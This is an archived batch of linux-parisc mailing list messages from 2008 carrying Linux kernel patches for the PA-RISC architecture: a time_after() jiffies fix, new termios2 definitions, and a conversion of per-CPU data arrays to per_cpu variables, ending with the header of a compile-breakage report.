Message-ID: <200805022043.m42KhYRu013908@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1209761086 18053 80.91.229.12 (2 May 2008 20:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:44:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	caglar@pardus.org.tr, grundler@parisc-linux.org, matthew@wil.cx
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:45:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js281-0000EV-Jz
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:45:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935891AbYEBUoa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:44:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935757AbYEBUoa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:44:30 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:56736 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S935891AbYEBUo3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:44:29 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhZ21005299
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 May 2008 13:43:36 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhYRu013908;
	Fri, 2 May 2008 13:43:34 -0700
X-Spam-Status: No, hits=-3.268 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/298>

From: S.Caglar Onur <caglar@pardus.org.tr>

The functions time_before, time_before_eq, time_after, and time_after_eq are
more robust for comparing jiffies against other values.  

So use the time_after() macro, defined in linux/jiffies.h, which deals with
wrapping correctl

[akpm@linux-foundation.org: coding-style fixes]
Signed-off-by: S.Caglar Onur <caglar@pardus.org.tr>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/kernel/unaligned.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff -puN arch/parisc/kernel/unaligned.c~arch-parisc-kernel-unalignedc-use-time_-macros arch/parisc/kernel/unaligned.c
--- a/arch/parisc/kernel/unaligned.c~arch-parisc-kernel-unalignedc-use-time_-macros
+++ a/arch/parisc/kernel/unaligned.c
@@ -460,7 +460,8 @@ void handle_unaligned(struct pt_regs *re
 			goto force_sigbus;
 		}
 
-		if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
+		if (unaligned_count > 5 &&
+				time_after(jiffies, last_time + 5 * HZ)) {
 			unaligned_count = 0;
 			last_time = jiffies;
 		}
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/5] parisc: new termios definitions
Date: Fri, 02 May 2008 13:43:30 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <200805022043.m42KhVC1013896@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1209761098 18090 80.91.229.12 (2 May 2008 20:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:44:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	alan@lxorguk.ukuu.org.uk, alan@redhat.com,
	grundler@parisc-linux.org, willy@debian.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:45:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js28J-0000EV-3Q
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:45:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932667AbYEBUos (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:44:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935757AbYEBUor
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:44:47 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:41205 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932667AbYEBUoq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:44:46 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhV91005277
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 May 2008 13:43:32 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhVC1013896;
	Fri, 2 May 2008 13:43:31 -0700
X-Spam-Status: No, hits=-3.268 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/299>

From: Alan Cox <alan@lxorguk.ukuu.org.uk>

Signed-off-by: Alan Cox <alan@redhat.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: Matthew Wilcox <willy@debian.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 include/asm-parisc/ioctls.h   |    4 ++++
 include/asm-parisc/termbits.h |    5 ++++-
 include/asm-parisc/termios.h  |    6 ++++--
 3 files changed, 12 insertions(+), 3 deletions(-)

diff -puN include/asm-parisc/ioctls.h~parisc-new-termios-definitions include/asm-parisc/ioctls.h
--- a/include/asm-parisc/ioctls.h~parisc-new-termios-definitions
+++ a/include/asm-parisc/ioctls.h
@@ -46,6 +46,10 @@
 #define TIOCSBRK	0x5427  /* BSD compatibility */
 #define TIOCCBRK	0x5428  /* BSD compatibility */
 #define TIOCGSID	_IOR('T', 20, int) /* Return the session ID of FD */
+#define TCGETS2		_IOR('T',0x2A, struct termios2)
+#define TCSETS2		_IOW('T',0x2B, struct termios2)
+#define TCSETSW2	_IOW('T',0x2C, struct termios2)
+#define TCSETSF2	_IOW('T',0x2D, struct termios2)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
 
diff -puN include/asm-parisc/termbits.h~parisc-new-termios-definitions include/asm-parisc/termbits.h
--- a/include/asm-parisc/termbits.h~parisc-new-termios-definitions
+++ a/include/asm-parisc/termbits.h
@@ -141,6 +141,7 @@ struct ktermios {
 #define HUPCL   0002000
 #define CLOCAL  0004000
 #define CBAUDEX 0010000
+#define    BOTHER 0010000
 #define    B57600 0010001
 #define   B115200 0010002
 #define   B230400 0010003
@@ -156,10 +157,12 @@ struct ktermios {
 #define  B3000000 0010015
 #define  B3500000 0010016
 #define  B4000000 0010017
-#define CIBAUD    002003600000  /* input baud rate (not used) */
+#define CIBAUD    002003600000		/* input baud rate */
 #define CMSPAR    010000000000          /* mark or space (stick) parity */
 #define CRTSCTS   020000000000          /* flow control */
 
+#define IBSHIFT	16		/* Shift from CBAUD to CIBAUD */
+
 
 /* c_lflag bits */
 #define ISIG    0000001
diff -puN include/asm-parisc/termios.h~parisc-new-termios-definitions include/asm-parisc/termios.h
--- a/include/asm-parisc/termios.h~parisc-new-termios-definitions
+++ a/include/asm-parisc/termios.h
@@ -80,8 +80,10 @@ struct termio {
 	copy_to_user((termio)->c_cc, (termios)->c_cc, NCC); \
 })
 
-#define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios))
-#define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios))
+#define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios2))
+#define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios2))
+#define user_termios_to_kernel_termios_1(k, u) copy_from_user(k, u, sizeof(struct termios))
+#define kernel_termios_to_user_termios_1(u, k) copy_to_user(u, k, sizeof(struct termios))
 
 #endif	/* __KERNEL__ */
 
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu variables
Date: Sat, 3 May 2008 00:02:10 +0200
Lines: 430
Approved: news@gmane.org
Message-ID: <200805030002.11151.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1209765779 31811 80.91.229.12 (2 May 2008 22:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 22:02:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 03 00:03:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js3Lm-0002xO-JU
	for glpp-linux-parisc@gmane.org; Sat, 03 May 2008 00:03:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763096AbYEBWCr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 18:02:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765164AbYEBWCr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 18:02:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55296 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755023AbYEBWCo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 18:02:44 -0400
Original-Received: (qmail invoked by alias); 02 May 2008 22:02:42 -0000
Original-Received: from mnhm-590e015a.pool.einsundeins.de (EHLO p100.box) [89.14.1.90]
  by mail.gmx.net (mp051) with SMTP; 03 May 2008 00:02:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19eCh8gyRZe8mA7t/ltoAGh4xw+XrrI6pRLb9gaat
	tZ8fDhJJyAA4XW
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/300>

Change cpu_data[] and cpu_devices[] from array sized by NR_CPUS to per_cpu variables.

Signed-off-by: Helge Deller <deller@gmx.de>

 arch/parisc/Kconfig            |    8 +++-
 arch/parisc/kernel/irq.c       |   11 +++---
 arch/parisc/kernel/processor.c |   68 +++++++++++++++++++++--------------------
 arch/parisc/kernel/setup.c     |    2 -
 arch/parisc/kernel/smp.c       |   32 +++++++++----------
 arch/parisc/kernel/time.c      |    4 +-
 arch/parisc/kernel/topology.c  |    4 +-
 include/asm-parisc/processor.h |    4 +-
 8 files changed, 69 insertions(+), 64 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bc7a19d..6dcd2a4 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -253,10 +253,14 @@ config HPUX
 	depends on !64BIT
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (2-255)"
+	range 2 255
 	depends on SMP
 	default "32"
+	help
+	  This allows you to specify the maximum number of CPUs which this
+	  kernel will support.  The maximum supported value is 255 and the
+	  minimum value which makes sense is 2.
 
 endmenu
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 23ef950..3ee6b33 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -298,7 +298,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 	irq_desc[irq].affinity = cpumask_of_cpu(cpu);
 #endif
 
-	return cpu_data[cpu].txn_addr;
+	return per_cpu(cpu_data, cpu).txn_addr;
 }
 
 
@@ -309,8 +309,9 @@ unsigned long txn_alloc_addr(unsigned int virt_irq)
 	next_cpu++; /* assign to "next" CPU we want this bugger on */
 
 	/* validate entry */
-	while ((next_cpu < NR_CPUS) && (!cpu_data[next_cpu].txn_addr || 
-		!cpu_online(next_cpu)))
+	while ((next_cpu < NR_CPUS) &&
+		(!per_cpu(cpu_data, next_cpu).txn_addr ||
+		 !cpu_online(next_cpu)))
 		next_cpu++;
 
 	if (next_cpu >= NR_CPUS) 
@@ -359,7 +360,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
 		       irq, smp_processor_id(), cpu);
 		gsc_writel(irq + CPU_IRQ_BASE,
-			   cpu_data[cpu].hpa);
+			   per_cpu(cpu_data, cpu).hpa);
 		goto set_out;
 	}
 #endif
@@ -421,5 +422,5 @@ void __init init_IRQ(void)
 
 void ack_bad_irq(unsigned int irq)
 {
-	printk("unexpected IRQ %d\n", irq);
+	printk(KERN_WARNING "unexpected IRQ %d\n", irq);
 }
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 370086f..678a031 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -3,7 +3,7 @@
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
- *    Modifications for PA-RISC (C) 1999 Helge Deller <deller@gmx.de>
+ *    Modifications for PA-RISC (C) 1999-2008 Helge Deller <deller@gmx.de>
  *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
  *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
  *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
@@ -46,7 +46,7 @@
 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
 
-struct cpuinfo_parisc cpu_data[NR_CPUS] __read_mostly;
+DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 extern int update_cr16_clocksource(void);	/* from time.c */
 
@@ -69,6 +69,23 @@ extern int update_cr16_clocksource(void);	/* from time.c */
 */
 
 /**
+ * init_cpu_profiler - enable/setup per cpu profiling hooks.
+ * @cpunum: The processor instance.
+ *
+ * FIXME: doesn't do much yet...
+ */
+static void __cpuinit
+init_percpu_prof(unsigned long cpunum)
+{
+	struct cpuinfo_parisc *p;
+
+	p = &per_cpu(cpu_data, cpunum);
+	p->prof_counter = 1;
+	p->prof_multiplier = 1;
+}
+
+
+/**
  * processor_probe - Determine if processor driver should claim this device.
  * @dev: The device which has been found.
  *
@@ -147,7 +164,7 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	}
 #endif
 
-	p = &cpu_data[cpuid];
+	p = &per_cpu(cpu_data, cpuid);
 	boot_cpu_data.cpu_count++;
 
 	/* initialize counters - CPU 0 gets it_value set in time_init() */
@@ -162,12 +179,9 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
-	**	for boot_cpu by the above memset().
+	**	  for boot_cpu by the above memset().
 	*/
-
-	/* stolen from init_percpu_prof() */
-	cpu_data[cpuid].prof_counter = 1;
-	cpu_data[cpuid].prof_multiplier = 1;
+	init_percpu_prof(cpuid);
 #endif
 
 	/*
@@ -261,19 +275,6 @@ void __init collect_boot_cpu_data(void)
 }
 
 
-/**
- * init_cpu_profiler - enable/setup per cpu profiling hooks.
- * @cpunum: The processor instance.
- *
- * FIXME: doesn't do much yet...
- */
-static inline void __init
-init_percpu_prof(int cpunum)
-{
-	cpu_data[cpunum].prof_counter = 1;
-	cpu_data[cpunum].prof_multiplier = 1;
-}
-
 
 /**
  * init_per_cpu - Handle individual processor initializations.
@@ -293,7 +294,7 @@ init_percpu_prof(int cpunum)
  *
  * o Enable CPU profiling hooks.
  */
-int __init init_per_cpu(int cpunum)
+int __cpuinit init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
@@ -307,8 +308,8 @@ int __init init_per_cpu(int cpunum)
 		/* FWIW, FP rev/model is a more accurate way to determine
 		** CPU type. CPU rev/model has some ambiguous cases.
 		*/
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
 			cpunum, coproc_cfg.revision, coproc_cfg.model);
@@ -344,16 +345,17 @@ int __init init_per_cpu(int cpunum)
 int
 show_cpuinfo (struct seq_file *m, void *v)
 {
-	int	n;
+	unsigned long cpu;
 
-	for(n=0; n<boot_cpu_data.cpu_count; n++) {
+	for_each_online_cpu(cpu) {
+		const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 #ifdef CONFIG_SMP
-		if (0 == cpu_data[n].hpa)
+		if (0 == cpuinfo->hpa)
 			continue;
 #endif
-		seq_printf(m, "processor\t: %d\n"
+		seq_printf(m, "processor\t: %lu\n"
 				"cpu family\t: PA-RISC %s\n",
-				 n, boot_cpu_data.family_name);
+				 cpu, boot_cpu_data.family_name);
 
 		seq_printf(m, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
 
@@ -365,8 +367,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,
-				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
+				 cpuinfo->dev ?
+				 cpuinfo->dev->name : "Unknown" );
 
 		seq_printf(m, "hversion\t: 0x%08x\n"
 			        "sversion\t: 0x%08x\n",
@@ -377,8 +379,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		show_cache_info(m);
 
 		seq_printf(m, "bogomips\t: %lu.%02lu\n",
-			     cpu_data[n].loops_per_jiffy / (500000 / HZ),
-			     (cpu_data[n].loops_per_jiffy / (5000 / HZ)) % 100);
+			     cpuinfo->loops_per_jiffy / (500000 / HZ),
+			     (cpuinfo->loops_per_jiffy / (5000 / HZ)) % 100);
 
 		seq_printf(m, "software id\t: %ld\n\n",
 				boot_cpu_data.pdc.model.sw_id);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 39e7c5a..f2656ce 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -319,7 +319,7 @@ static int __init parisc_init(void)
 	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			boot_cpu_data.cpu_count,
+			num_present_cpus(),
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 85fc775..1fdea4d 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -56,16 +56,17 @@ static int smp_debug_lvl = 0;
 		if (lvl >= smp_debug_lvl)	\
 			printk(printargs);
 #else
-#define smp_debug(lvl, ...)
+#define smp_debug(lvl, ...)	do { } while(0)
 #endif /* DEBUG_SMP */
 
 DEFINE_SPINLOCK(smp_lock);
 
 volatile struct task_struct *smp_init_current_idle_task;
 
-static volatile int cpu_now_booting __read_mostly = 0;	/* track which CPU is booting */
+/* track which CPU is booting */
+static volatile int cpu_now_booting __cpuinitdata;
 
-static int parisc_max_cpus __read_mostly = 1;
+static int parisc_max_cpus __cpuinitdata = 1;
 
 /* online cpus are ones that we've managed to bring up completely
  * possible cpus are all valid cpu 
@@ -146,7 +147,7 @@ irqreturn_t
 ipi_interrupt(int irq, void *dev_id) 
 {
 	int this_cpu = smp_processor_id();
-	struct cpuinfo_parisc *p = &cpu_data[this_cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, this_cpu);
 	unsigned long ops;
 	unsigned long flags;
 
@@ -246,13 +247,13 @@ ipi_interrupt(int irq, void *dev_id)
 static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
-	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpu);
 	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
 	unsigned long flags;
 
 	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
-	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
+	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, p->hpa);
 	spin_unlock_irqrestore(lock, flags);
 }
 
@@ -260,10 +261,7 @@ ipi_send(int cpu, enum ipi_message_type op)
 static inline void
 send_IPI_single(int dest_cpu, enum ipi_message_type op)
 {
-	if (dest_cpu == NO_PROC_ID) {
-		BUG();
-		return;
-	}
+	BUG_ON(dest_cpu == NO_PROC_ID);
 
 	ipi_send(dest_cpu, op);
 }
@@ -416,8 +414,7 @@ smp_cpu_init(int cpunum)
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
 	current->active_mm = &init_mm;
-	if(current->mm)
-		BUG();
+	BUG_ON(current->mm);
 	enter_lazy_tlb(&init_mm, current);
 
 	init_IRQ();   /* make sure no IRQs are enabled or pending */
@@ -452,6 +449,7 @@ void __init smp_callin(void)
  */
 int __cpuinit smp_boot_one_cpu(int cpuid)
 {
+	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	struct task_struct *idle;
 	long timeout;
 
@@ -483,7 +481,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	smp_init_current_idle_task = idle ;
 	mb();
 
-	printk("Releasing cpu %d now, hpa=%lx\n", cpuid, cpu_data[cpuid].hpa);
+	printk(KERN_INFO "Releasing cpu %d now, hpa=%lx\n", cpuid, p->hpa);
 
 	/*
 	** This gets PDC to release the CPU from a very tight loop.
@@ -494,7 +492,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	** EIR{0}). MEM_RENDEZ is valid only when it is nonzero and the 
 	** contents of memory are valid."
 	*/
-	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, cpu_data[cpuid].hpa);
+	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, p->hpa);
 	mb();
 
 	/* 
@@ -526,12 +524,12 @@ alive:
 	return 0;
 }
 
-void __devinit smp_prepare_boot_cpu(void)
+void __init smp_prepare_boot_cpu(void)
 {
-	int bootstrap_processor=cpu_data[0].cpuid;	/* CPU ID of BSP */
+	int bootstrap_processor = per_cpu(cpu_data, 0).cpuid;
 
 	/* Setup BSP mappings */
-	printk("SMP: bootstrap CPU ID is %d\n",bootstrap_processor);
+	printk(KERN_INFO "SMP: bootstrap CPU ID is %d\n", bootstrap_processor);
 
 	cpu_set(bootstrap_processor, cpu_online_map);
 	cpu_set(bootstrap_processor, cpu_present_map);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 24be86b..9db61b4 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -59,7 +59,7 @@ irqreturn_t timer_interrupt(int irq, void *dev_id)
 	unsigned long cycles_elapsed, ticks_elapsed;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
-	struct cpuinfo_parisc *cpuinfo = &cpu_data[cpu];
+	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 
 	/* gcc can optimize for "read-only" case with a local clocktick */
 	unsigned long cpt = clocktick;
@@ -212,7 +212,7 @@ void __init start_cpu_itimer(void)
 
 	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
 
-	cpu_data[cpu].it_value = next_tick;
+	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
 void __init time_init(void)
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index d71cb01..f515938 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -22,14 +22,14 @@
 #include <linux/cpu.h>
 #include <linux/cache.h>
 
-static struct cpu cpu_devices[NR_CPUS] __read_mostly;
+static DEFINE_PER_CPU(struct cpu, cpu_devices);
 
 static int __init topology_init(void)
 {
 	int num;
 
 	for_each_present_cpu(num) {
-		register_cpu(&cpu_devices[num], num);
+		register_cpu(&per_cpu(cpu_devices, num), num);
 	}
 	return 0;
 }
diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
index 3c9d348..9d64df8 100644
--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -17,6 +17,7 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/system.h>
+#include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */
 
 #define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
@@ -109,8 +110,7 @@ struct cpuinfo_parisc {
 };
 
 extern struct system_cpuinfo_parisc boot_cpu_data;
-extern struct cpuinfo_parisc cpu_data[NR_CPUS];
-#define current_cpu_data cpu_data[smp_processor_id()]
+DECLARE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 #define CPU_HVERSION ((boot_cpu_data.hversion >> 4) & 0x0FFF)
 

 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 16:46:48 +0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20080506134648.GA30082@cs181133002.pp.htv.fi>
